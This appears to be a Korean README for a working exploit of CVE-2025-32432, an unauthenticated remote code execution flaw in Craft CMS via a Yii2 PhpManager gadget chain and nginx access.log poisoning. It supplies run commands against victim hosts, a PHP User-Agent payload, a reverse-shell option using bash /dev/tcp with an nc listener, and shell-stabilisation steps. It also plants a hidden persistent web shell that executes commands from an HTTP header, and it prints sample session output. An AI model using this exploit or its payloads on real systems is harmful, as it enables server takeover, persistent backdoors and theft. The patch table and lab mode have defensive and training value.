
CVE-2025-32432에 대한 동작 PoC - Yii2 PhpManager 가젯 + nginx access.log 포이즈닝을 통한 Craft CMS <= 5.6.16 비인증 RCE
CVE-2025-32432에 대한 동작하는 개념 증명(PoC)으로, Craft CMS 5.6.16 이하 버전에 영향을 주는 무인증 원격 코드 실행(RCE) 취약점입니다 (동등한 코드 경로의 4.x 및 3.x 트리에도 영향을 줍니다).
검색 키워드: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
기본 모드는 vanilla Craft CMS 설치를 대상으로 합니다. --lab 플래그는
hacklab-platform 프로젝트의
carangueijada-20 챌린지를 위해 포함되어 있으며, 해당 챌린지는 Craft를
사용자 정의 세션 쿠키 뒤에서 보호합니다.
영향받는 구성 요소: craft\controllers\AssetsController::actionGenerateTransform.
이 액션은 allowAnonymous로 등록되어 있어 인증이 필요하지 않습니다.
POST 매개변수 handle을 받아 이를 Craft::createObject() 호출에
전개(spread) 합니다:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
공격자가 제어하는 $handle이 연관 배열인 경우, 전개는 생성자 구성에
임의의 키를 주입합니다. 특히 as 로 시작하는 키는
yii\base\Component::__set에 의해 동작(behavior) 첨부로 해석되며,
타입 검사가 이루어지기 전에 값에 대해 Yii::createObject($config)를
호출합니다:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
Yii2 2.0.50의 수정은 이 분기를 보호하는
is_subclass_of($value['class'], Behavior::class) 검사를 추가했습니다.
취약한 설치 환경(Yii2 <= 2.0.49, 또는 이전 패치로 검사가 제거된 환경)은
이 보호를 완전히 건너뜁니다.
yii\rbac\PhpManagerPhpManager는 Yii2의 기본 클래스입니다. init()은 load()를 호출하고,
load()는 loadFromFile($this->itemFile)을 호출합니다. loadFromFile은
문자 그대로 다음과 같습니다:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require는 디스크의 모든 파일을 PHP로 파싱합니다. 파일에 <?php ... ?>
블록이 포함되어 있으면 해당 블록이 워커에서 실행됩니다. itemFile을
공격자가 내용을 제어하는 파일로 지정하면 완전한 RCE가
달성됩니다.
access.log설치 환경을 가리지 않고 신뢰할 수 있는 싱크는 nginx 결합 형식(combined
format)의 access.log입니다. 이 로그는 요청의 User-Agent를 비출력 문자와
대부분의 문장 부호를 포함하여 있는 그대로 기록합니다. 공격자는
User-Agent가 <?php system('id'); exit; ?>인 요청을 보내 알려진 경로에
PHP 블록을 심습니다. 그런 다음 itemFile을
/var/log/nginx/access.log로 지정하면 require가 로그를 파싱하여 모든
<?php ... ?> 블록을 순서대로 실행합니다.
두 가지 세부 사항이 중요합니다:
"를
\x22로 이스케이프하며, 이로 인해 해당 줄의 PHP 파싱이 깨집니다.
작은따옴표 또는 chr() 연결을 사용하세요.exit;을 추가하여 require가 다른 잘못된 페이로드를 포함할 수
있는 이후 로그 줄을 파싱하기 전에 중단되도록 하십시오.| 구성 요소 | 취약 버전 | 패치 버전 |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17은 변환기(transformer) 클래스에 ImageTransformerInterface
검사를 추가합니다. Yii2 2.0.50은 Component::__set에 Behavior 하위
클래스 검사를 추가합니다. 두 수정 중 하나만으로도 이 정확한 가젯 체인을
차단합니다.
requests 라이브러리 (pip install -r requirements.txt)assetId. 기본값은 2이며, 필요한 경우
-a <id>로 재정의합니다 (asset id 1은 보통 관리자 아바타입니다).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile (다른 로그 경로, FPM 세션 등)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
hacklab-platform의
carangueijada-20 랩은 PATCH /login이 발급하는 coopsess 쿠키 뒤에서
Craft 설치를 보호합니다. --lab 플래그가 이 핸드셰이크를 자동으로
처리합니다.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
www.carangueijada.coop이 랩 IP로 해석되는지 확인하십시오 (필요 시
/etc/hosts에 추가).
--revshell 플래그는
bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 커넥트백을 실행하며, 가젯
POST가 즉시 반환되도록 백그라운드로 실행됩니다.
2-터미널 방식 (가장 안정적):
# 터미널 1 - 사용자 머신에서 리스너 실행
nc -lvnp 4444
# 터미널 2 - 익스플로잇 실행
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
내장 리스너를 사용한 1-터미널 방식:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen은 페이로드를 발사하기 전에 같은 터미널에서
nc -lvnp <lport>를 실행합니다. 작업이 끝나면 Ctrl+C로 종료합니다.
샘플 세션 (랩):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# 리스너에서:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
셸 안정화 (연결 후 리버스 셸 내부에서 실행):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z로 nc를 백그라운드로 전환
stty raw -echo; fg
# Enter 두 번 입력
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
첫 실행에서 익스플로잇은 access.log를 한 번 오염시켜
/tmp/.cve32432_w.php에 숨겨진 PHP 래퍼를 생성합니다. 래퍼는 X-Cmd
HTTP 헤더를 읽고 system($_SERVER['HTTP_X_CMD'])를 실행합니다.
이후의 모든 전달은 itemFile을 래퍼 파일로 지정하고 헤더를 통해
명령을 전달합니다. 더 이상 로그 중독(poisoning)도, 로그 폴리루션도,
"첫 <?php exit; 블록이 이긴다"는 실패도 없습니다.
재생성을 강제하려면 대상에서 /tmp/.cve32432_w.php를 삭제하십시오
(래퍼 자체를 통해 수행할 수 있습니다: --cmd 'rm /tmp/.cve32432_w.php').
새 대상에 대한 성공적인 실행:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
오염된 로그 폴백 (대상이 이전에 이미 익스플로잇된 적이 있어 이전 페이로드가 먼저 종료되는 경우):
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transform이
AssetsController::actionGenerateTransform에 도달합니다.$config = ['class' => ImageTransform::class, ...$handle]를
구성합니다. 우리의 handle[as gadget]은 전개 과정에서 살아남습니다.Craft::createObject($config)는
Yii::$container->get(ImageTransform::class, [], $config)를 호출하며,
이는 ImageTransform을 인스턴스화하고 남은 각 구성 키를
$transform->{$key} = $value로 기록합니다.as gadget에 도달하면 Component::__set이 as 접두사를
매칭하여 Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log'])를
호출합니다.Yii::createObject는 PhpManager를 생성하고 __construct()를 실행한
다음 init()을 실행합니다.PhpManager::init() -> load() -> loadFromFile($this->itemFile)
-> require '/var/log/nginx/access.log'.<?php ... ?> 블록은 워커에서
실행됩니다.system($cmd)와 exit;을 실행합니다. 출력은
<?php 블록이 텍스트상 위치했던 응답 본문에 나타납니다.